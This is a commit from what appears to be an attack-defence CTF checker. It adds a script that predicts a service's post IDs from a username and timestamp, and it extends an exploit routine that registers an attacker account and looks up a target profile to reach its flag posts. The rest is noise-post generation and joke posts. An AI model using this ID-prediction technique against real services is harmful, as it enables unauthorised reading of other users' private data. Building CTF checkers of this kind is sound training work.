Skip to content

Commit 858b1b5

Browse files
author
Robert Quander
committed
Updated checker with fun more things, also added updated post ID python script so you can make sure it actually works. It was a fight this one with the innermost workings of swift's hex system. It's ugly.
1 parent b67f318 commit 858b1b5

File tree

4 files changed

+167
-43
lines changed

4 files changed

+167
-43
lines changed

checker/src/FinalFinalTry.py

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
import uuid
2+
from datetime import datetime, timedelta
3+
4+
def generate_profile_uuid(username: str) -> uuid.UUID:
5+
# Pad/trim to 16 bytes
6+
username_bytes = bytearray(username.encode('utf-8'))
7+
while len(username_bytes) < 16:
8+
username_bytes.append(ord('_'))
9+
username_bytes = username_bytes[:16]
10+
11+
hex_str = ''.join(f"{b:02x}" for b in username_bytes)
12+
uuid_str = f"{hex_str[:8]}-{hex_str[8:12]}-{hex_str[12:16]}-{hex_str[16:20]}-{hex_str[20:]}"
13+
return uuid.UUID(uuid_str)
14+
15+
def secret_generator(date: datetime) -> int:
16+
# Adjust from CEST (UTC+2) to UTC
17+
adjusted = date - timedelta(hours=2) # Unterschied zu docker zeit einfach über post zeitstamp finden
18+
return int(adjusted.strftime("%Y%m%d%H%M"))
19+
20+
def derive_post_id(profile_id: uuid.UUID, timestamp: datetime, counter: int) -> uuid.UUID:
21+
# Secret seed
22+
seed = secret_generator(timestamp)
23+
combined_seed = (seed << 8) | (counter & 0xFF)
24+
25+
# Left (first 32 bytes of UUID string UTF-8)
26+
left = list(str(profile_id).upper().encode("utf-8")[:32]) # NUR DAS MATCHED RICHTIG ZU SWIFT!
27+
while len(left) < 32:
28+
left.append(0)
29+
30+
# Right (hex string of combined_seed, left padded with "0" to 32 chars)
31+
seed_hex = f"{combined_seed:016x}".ljust(32, "0") # ljust, not zfill! Ansonsten geht es nicht, weil anders als Swift!
32+
right = list(seed_hex.encode("utf-8")[:32])
33+
34+
# XOR
35+
xored = [a ^ b for a, b in zip(left, right)]
36+
hex_out = ''.join(f"{b:02x}" for b in xored)
37+
38+
# Format as UUID
39+
uuid_str = f"{hex_out[:8]}-{hex_out[8:12]}-{hex_out[12:16]}-{hex_out[16:20]}-{hex_out[20:32]}"
40+
return uuid.UUID(uuid_str)
41+
42+
# xample
43+
if __name__ == "__main__":
44+
username = "username"
45+
profile_uuid = generate_profile_uuid(username)
46+
base_time = datetime.now().replace(second=0, microsecond=0) # Local time (CEST)
47+
48+
print(f"Profile UUID: {str(profile_uuid).upper()}")
49+
print(f"UUID string UTF-8 bytes: {list(str(profile_uuid).upper().encode('utf-8')[:32])}")
50+
print(f"Base time: {base_time.isoformat()}")
51+
52+
seed = secret_generator(base_time)
53+
combined_seed = (seed << 8) | 0
54+
seed_hex = f"{combined_seed:016x}".ljust(32, "0")
55+
print(f"Seed int: {seed}")
56+
print(f"Combined: {combined_seed}")
57+
print(f"Seed hex: {seed_hex}")
58+
print(f"Seed hex UTF-8 bytes: {list(seed_hex.encode('utf-8')[:32])}")
59+
60+
for counter in range(10):
61+
post_id = derive_post_id(profile_uuid, base_time, counter)
62+
print(f"Post ID (counter={counter}): {str(post_id).upper()}")
63+
64+

checker/src/checker.py

Lines changed: 31 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -241,45 +241,35 @@ async def putnoise_v2(task: PutnoiseCheckerTaskMessage, db: ChainDB, logger: Log
241241
password = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
242242
await conn.register_user(username, password)
243243

244-
# Generate fake year and noise message
244+
# Easter eggs
245245
easter_eggs = {
246-
"69": "(hehe)", # Nice
247-
"420": "(noice)", # Blaze it
248-
"1337": "(leet)", # Elite h4xx0r
249-
"666": "(evil?)", # Beastly
250-
"8008": "(höhö)", # Calculator giggles
251-
"1010": "(Shorten to 2!)", # Programmers unite
252-
"1234": "(count it)", # Straight up
253-
"1947": "(partition)", # India/Pakistan independence (neutral phrasing)
254-
"1917": "(revolt)", # Russian Revolution
255-
"888": "(luck++)", # Chinese good luck
256-
"1001": "(n8-n8)", # 1001 Nights
257-
"1492": "(ocean blue)", # Columbus sailed the ocean blue
258-
"1861": "(unified)", # Italy unification
259-
"681": "(Bulgaria!)", # Founding of Bulgaria
260-
"2008": "(北京!)", # Olympics year
261-
"404": "(not found)", # HTTP humor
262-
"9001": "(over 9000!)", # Dragon Ball meme
263-
"314": "(pi)", # π = 3.14
264-
"3141": "(ππ)", # π again, but extra
265-
"2718": "(eeee!)", # Euler’s number
266-
"1821": "(το ξέρεις)", # Greek independence
267-
"123": "(basic)", # Beginning of all things
268-
"007": "(licensed)", # Bond. James Bond.
246+
"69": "(hehe)", "420": "(noice)", "1337": "(leet)", "666": "(evil?)", "8008": "(höhö)",
247+
"1010": "(Shorten to 2!)", "1234": "(count it)", "1947": "(partition)", "1917": "(revolt)",
248+
"888": "(luck++)", "1001": "(n8-n8)", "1492": "(ocean blue)", "1861": "(unified)",
249+
"681": "(Bulgaria!)", "2008": "(北京!)", "404": "(not found)", "9001": "(over 9000!)",
250+
"314": "(pi)", "3141": "(ππ)", "2718": "(eeee!)", "1821": "(το ξέρεις)", "123": "(basic)",
251+
"007": "(licensed)"
269252
}
270-
year = str(random.randint(0000, 4000))
271-
suffix = ""
272-
for key, tag in easter_eggs.items():
273-
if year.endswith(key) or year == key:
274-
suffix = tag
275-
break
276-
noise_text = f"Meet my in {year}{suffix}. Get your time machine ready! Here is a teaser for what's waiting for you, btw: " + "@>" + \
277-
"+" * random.randint(6, 10) + \
278-
"[<" + "+" * random.randint(8, 12) + ">-]<." + \
279-
">" + "+" * random.randint(1, 4) + "."
280-
281-
282-
# Upload public post
253+
254+
if random.random() < 0.1:
255+
year = str(random.randint(0, 4000))
256+
suffix = ""
257+
for key, tag in easter_eggs.items():
258+
if year.endswith(key) or year == key:
259+
suffix = tag
260+
break
261+
noise_text = f"Meet me in {year}{suffix}. Get your time machine ready! Here is a teaser for what's waiting for you, btw: " + \
262+
"@>" + "+" * random.randint(6, 10) + \
263+
"[<" + "+" * random.randint(8, 12) + ">-]<." + \
264+
">" + "+" * random.randint(1, 4) + "."
265+
else:
266+
try:
267+
with open("noise-posts.txt", "r", encoding="utf-8") as f:
268+
lines = [line.strip() for line in f if line.strip()]
269+
noise_text = random.choice(lines) if lines else "Welcome to my quantum jump presentation!"
270+
except FileNotFoundError:
271+
noise_text = "404: noise-posts.txt not found. Posting temporal static instead."
272+
283273
resp = await client.post(
284274
"/public_post",
285275
data={"text": noise_text},
@@ -297,6 +287,7 @@ async def putnoise_v2(task: PutnoiseCheckerTaskMessage, db: ChainDB, logger: Log
297287
await db.set("userdata", (username, password, post_id, noise_text))
298288

299289

290+
300291
@checker.getnoise(1)
301292
async def getnoise_v2(task: GetnoiseCheckerTaskMessage, db: ChainDB, logger: LoggerAdapter, client: AsyncClient):
302293
conn = HTTPConnection(logger, client)
@@ -311,7 +302,8 @@ async def getnoise_v2(task: GetnoiseCheckerTaskMessage, db: ChainDB, logger: Log
311302

312303
@checker.exploit(1)
313304
async def exploit_v2(task: ExploitCheckerTaskMessage, db: ChainDB, searcher: FlagSearcher, logger: LoggerAdapter):
314-
if not task.attack_info:
305+
username = task.attack_info
306+
if not username:
315307
raise MumbleException("Missing attack_info (username)")
316308

317309
base_url = f"http://{task.address}:{SERVICE_PORT}"
@@ -323,8 +315,7 @@ async def exploit_v2(task: ExploitCheckerTaskMessage, db: ChainDB, searcher: Fla
323315
await client.post(f"{base_url}/register", data={"username": attacker, "password": pw}, follow_redirects=True)
324316

325317
# Step 1: Search for the target profile
326-
resp = await client.get(f"{base_url}/search?q={task.attack_info}",
327-
follow_redirects=True)
318+
resp = await client.get(f"{base_url}/search?q={username}")
328319
match = re.search(r'href="/home-of/([A-Fa-f0-9\-]+)"', resp.text)
329320
if not match:
330321
logger.debug(f"Search page content:\n{resp.text}")

checker/src/noise-post.txt

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
Check out my invention of the year: egg-less time travel!
2+
I met Napoleon in 1804. He still owes me a baguette.
3+
Wanna loop through 1337 timelines with me?
4+
The quantum party starts at 3141 hours. See you in t̴̩̬̬̿̿̉͘͝͠ḩ̵̦̹̥̹͖̇̌̿͝ḙ̷̡̜͈̹̗̂͊̃̈́ͅ ̶͍̜̒̃̚̚͝͝v̷̧̜̂ó̴̱͌̓ͅì̸̡̺̦͙͔͛̑́͘̚d̵̡͍͖͓̊̒͌̓͂̉.
5+
What happens in Atlantis stays in Atlantis. I told my wife... But she wouldn't listen. Now everybody kows about our ▓▓▓▓▓▓▓▓▓ and the ▓▓▓▓▓▓▓▓▓▓▓▓▓ with 50 other people, where I ▓▓▓▓▓▓▓▓▓ into the ▓▓▓▓▓▓▓▓▓▓ of ▓▓ people at once! Maybe I shouldn't post publically about that. let's del
6+
@++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>-----------.++++++++++++++++++++++.++++++.<<++.>>---.-------------.----.+++++++++++..+++++++++++++.<<.>>-----.------------.+++++++.++++++.--------------.+.++++++++++++.<<.>>.------------.---.+++++++++++++.-------------.<<.>>++++++++++++++++++.----------------------.++++++++++++++++++.<<.>>------------------.<<.>>+++++.++++++.-----------.++++++.<<.>>+++.+++++++++++.--.+.<<.>>-----.++++++.-.<<.>>-----------.+++++.<<.>>++++++.------------.---.<<.>>++++++++++.+.-----------.+++++++++.<<.>>++++++.------------.---.+++++++++++++.-------------.<<++++++++++++.------------.>>-.+++++.-----.<<.>>+++++++++++++++++++++.----------.++++++.<-------.@
7+
@++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>-.+++++++++.+.>++++++++++.+.-.+.-.+.<<++++++++++++++.------------.>>+++++.------------.+.++++++++++.<<.>>----------.++++++++++.<<.>>-----.+.+++++.<<.>++++++++++++++++++.<.>+++++.++++++.-----------.++++++.@
8+
Still trying to figure out this one... @+[[->[>]+<[-<]+]>[-<+[->+<]>]]<]>+[-]<@
9+
Tired of 2025? So were we. Join our event in the year 3201 and finally witness the great avocado uprising.
10+
Rumor has it that the dinosaurs weren't wiped out. They just RSVP'd to a better timeline. Event access code: ++>+++++[<+++++>-]<---.
11+
Accidentally booted the toaster into sentience. Hosting a support group in 2112. BYOT (Bring Your Own Timeline).
12+
You’ve heard of Schrödinger’s cat. Meet Schrödinger’s conference: you’re both attending and not attending, until you check in.
13+
Wanna break causality? We do it every Sunday. Location: ∞ loop. Code: +[+++]-[->+<]>.
14+
We left a sock in 1974. Ever since, nothing's matched. Join us to close the loop. Literally.
15+
Ever seen someone argue with their future self? It's messy. Our panel on temporal conflict resolution meets in 2404.
16+
Don't trust the guy in the trench coat selling paradoxes. Trust us instead. We’re in 1888. Again.
17+
Fun fact: 3033 was skipped due to timezone conflicts. We’re meeting there anyway. Decoder ring required: @++++++[>++++++++<-]>.
18+
Our last speaker refused to exit the loop. He’s still talking. Brainfuck feed: `[->+<]>+++[<-->-]`.
19+
Aliens gave us this calendar and it ends in 3979. Come to our event before we run out of time. Literally.
20+
Got stuck between 1999 and 2001? We have a talk about that. Just follow the sound of the dial-up modem.
21+
Our keynote crashed after writing `+++[>+++<-]>.` Someone please bring a debugger and a flux capacitor.
22+
@+[->[>]+<[-<]+]+[>+++++[<----->-]<+++++]>[--->++<]>+++[->++<]>+++]<@
23+
@+[--->[>+>+<<-]>>[-<<+>>]<<[->>+<<]>[-]>[-]<<]<[->+<]@. Nothing more to say to that.
24+
Arrived in Atlantis, 962 BCE. Everyone’s laughing, drinking. I keep hearing “unsinkable.” Might leave early.
25+
Pompeii, 78 AD. Locals keep complimenting the weather. Sky smells like matches. I scheduled our party for tomorrow noon.
26+
May 5, 1937, Lakehurst. Tickets in hand, spirits high. Heard someone say “Hindenburg” — sounds German. Should be fine.
27+
June 27, 1914. Just saw Franz Ferdinand wave from his car. Locals say the café's got great seating. I'm grabbing a table.
28+
April 12, 1912. A floating palace! First class, smooth seas, mild ice warnings. What could possibly go wrong?
29+
Chernobyl, April 25, 1986. “Routine safety test,” they said. “Just a formality.” Join our mixer right after.
30+
San Francisco, 1905. Real estate booming, cafés full. Next year’s forecast: “vibrant energy.” Might register early.
31+
Edo, 1657. Streets narrow, lamps charming, wood buildings everywhere. Smells like kindling. What a vibe.
32+
Naples, 1944. Locals are excited for a big show tomorrow. Something about Mount Vesuvius again?
33+
January 27, 1986. Invited to watch a shuttle launch in Florida. Everyone’s buzzing. Feels like history.
34+
London, 1665. New bar just opened. Lots of sneezing, though. Probably the weather.
35+
Woke up in 2525. Humans are gone, but my fridge runs Linux. Might try time-traveling to uninstall systemd.
36+
Tried to prevent a paradox. Ended up being my own great-grandparent’s roommate. Avoiding mirrors now.
37+
1871 Paris. Thought it was a wine festival. Turned out to be a revolution. Still had a great night.
38+
1939 Berlin. Everyone keeps talking about “peace in our time.” I’ve seen this movie. It ends badly.
39+
I typed @++[>++[>++<-]<-]>>.@ at midnight and now my toaster speaks Latin. Need help. It might summon something we're not ready for yet.
40+
Currently trapped in 1351. Plague masks look great, but everyone is socially distant in the worst way.
41+
2160. Earth is mostly servers and sand. I think Stack Overflow is sentient now. It keeps asking me questions.
42+
I accidentally invented jazz in 1899 by dropping a flute down the stairs. Future historians are confused.
43+
Tried to write a loop. Forgot the exit. Still running in 42 BCE.
44+
Just recalibrated the quantum flux capacitor. Arrived 3 hours before I left. Great way to skip security lines.
45+
Chrono-stabilizers failed again. I landed inside the same meeting three times. Still didn’t get promoted.
46+
Using entangled breakfast particles to navigate time. My croissant just winked at me.
47+
They said the multiverse was unstable. I said “hold my tachyon.” Long story short: I now have two birthdays.
48+
Warning: crossing timelines with unresolved feelings may cause emotional recursion.
49+
According to the Temporal Ethics Manual (page 42): “Absolutely do NOT date yourself.” It’s complicated.
50+
Just time-slipped into a moment between moments. The silence screamed. 10/10 would time again. 💀
51+
I visited the end of time. It looked like an empty comment section.
52+
God rolled back the timeline. Said it wasn’t tested properly. Welcome to Patch 1.0.1: Reality Rebooted.
53+
They say “don’t meet your heroes.” I met all of them. One was me. One was worse. And one a horse.
54+
History is just bugs waiting to be patched. Unfortunately, time travel introduces more bugs than it fixes.
55+
Here’s a teaser for the next event: @+[+[+[+[+[+[+[+[+[+[+[+[+[+[+@ (Try debugging it in your head.)
56+
This code runs forever. Like your chances in this CTF: `++++[>++++[>++++<-]<-]>>.<<<+++[>+++<-]>`
57+
Built a timeloop in Brainfuck. Then realized I was the loop. @+[+[+[+[+[+[+[+[+@ RIP.
58+
Never gonna give you up, never gonna let you down, never gonna run around and hurt you.
59+
Saw a guy in the washroom popping his pimples like they were elements in a heap.
60+
Erst war da ein stein. dann noch ein stein -> zweistein. Dann noch ein stein -> dreistein. Dann noch ein Stein -> vierstein. Dann...
61+
oiagisdufgjklasdfbaerwpoaqwekolam sdnasdljk. My keyboard's sticky. :/
62+
Du sagst mir jetzt wo mom ist, du Schwamm! Wo ist mom?
63+
SWEET! Ein Bausparvertrag!
64+
Seitenbacher Müsli! Lecker!
65+
must see!! www.youtube.com%2Fwatch%3Fv%3DQDia3e12czc I placed a flag in the comments!

checker/src/uuidTest.py

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ def derive_post_id(profile_id: uuid.UUID, timestamp: datetime, counter: int) ->
3939

4040

4141

42-
username = "klarname" # Example username, replace with actual task.username if needed
42+
username = "username" # Example username, replace with actual task.username if needed
4343
profile_uuid = generate_profile_uuid(username)
4444
#base_time = datetime.utcfromtimestamp(task.round.timestamp / 1000)
4545
#base_time = datetime.fromtimestamp(task.round.time / 1000)
@@ -48,7 +48,8 @@ def derive_post_id(profile_id: uuid.UUID, timestamp: datetime, counter: int) ->
4848
base_time = base_time.replace(minute=base_time.minute)
4949
print(f"base_time: {base_time}")
5050
print(derive_post_id(profile_uuid, base_time, 0)) # Example usage of derive_post_id
51-
print(generate_profile_uuid(username)) # Example usage
51+
#username = str(profile_uuid).upper() # Ensure the UUID is uppercase
52+
print(str(generate_profile_uuid(username)).upper()) # Example usage
5253

5354

5455
#02030E72-0707-020C-1C04-040F0D1A0701 # Site
@@ -67,4 +68,7 @@ def derive_post_id(profile_id: uuid.UUID, timestamp: datetime, counter: int) ->
6768
# 03730e77-0700-0200-1c02-750401180608
6869

6970
#03730E77-0704-030B-1C02-7501021B0674
70-
#03730e77-0704-030b-1c02-7501021b0674
71+
#03730e77-0704-030b-1c02-7501021b0674
72+
73+
#generated: 02030e72-070a-0505-150e-0401001d0701
74+
#actual: 07020676-0454-0403-1853-575600190701

0 commit comments

Comments
 (0)